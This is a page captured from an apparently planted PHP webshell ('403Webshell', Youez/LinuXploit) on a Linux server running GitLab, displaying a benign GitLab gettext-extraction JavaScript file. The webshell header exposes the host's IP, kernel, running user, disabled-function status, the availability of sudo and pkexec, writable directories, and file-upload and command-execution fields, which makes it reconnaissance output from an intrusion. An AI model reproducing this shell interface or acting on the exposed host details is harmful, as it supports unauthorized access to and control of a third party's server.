403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/gitlab/embedded/service/gitlab-rails/scripts/frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/gitlab/embedded/service/gitlab-rails/scripts/frontend/extract_gettext_all.js
const { program } = require('commander');

const { GettextExtractor, JsExtractors } = require('gettext-extractor');
const {
  decorateJSParserWithVueSupport,
  decorateExtractorWithHelpers,
} = require('gettext-extractor-vue');
const vue2TemplateCompiler = require('vue-template-compiler');

program
  .option('-f, --file <file>', 'Extract message from one single file')
  .option('-a, --all', 'Extract message from all js/vue files')
  .parse(process.argv);

const args = program.opts();

const extractor = decorateExtractorWithHelpers(new GettextExtractor());

function ensureSingleLine(str) {
  // This guard makes the function significantly faster
  if (str.includes('\n') || str.includes('\r')) {
    return str
      .split(/\s*[\r\n]+\s*/)
      .filter((s) => s !== '')
      .join(' ');
  }
  return str;
}

extractor.addMessageTransformFunction(ensureSingleLine);

const jsParser = extractor.createJsParser([
  // Place all the possible expressions to extract here:
  JsExtractors.callExpression(['__', 's__'], {
    arguments: {
      text: 0,
    },
  }),
  JsExtractors.callExpression('n__', {
    arguments: {
      text: 0,
      textPlural: 1,
    },
  }),
]);

const vueParser = decorateJSParserWithVueSupport(jsParser, {
  vue2TemplateCompiler,
  // All of our expressions contain `__`.
  // So we can safely ignore parsing files _not_ containing it.
  guard: '__',
});

function printJson() {
  const messages = extractor.getMessages().reduce((acc, message) => {
    let { text } = message;
    if (message.textPlural) {
      text += `\u0000${message.textPlural}`;
    }

    message.references.forEach((reference) => {
      const filename = reference.replace(/:\d+$/, '');

      if (!Array.isArray(acc[filename])) {
        acc[filename] = [];
      }

      acc[filename].push([text, reference]);
    });

    return acc;
  }, {});

  console.log(JSON.stringify(messages));
}

async function main() {
  if (args.file) {
    return vueParser.parseFile(args.file).then(() => printJson());
  }

  if (args.all) {
    return vueParser
      .parseFilesGlob('{ee/app,app}/assets/javascripts/**/*.{js,vue}')
      .then(() => printJson());
  }

  throw new Error('ERROR: Please use the script correctly:');
}

main().catch((error) => {
  console.warn(error.message);
  program.outputHelp();
  process.exit(1);
});

Youez - 2016 - github.com/yon3zu
LinuXploit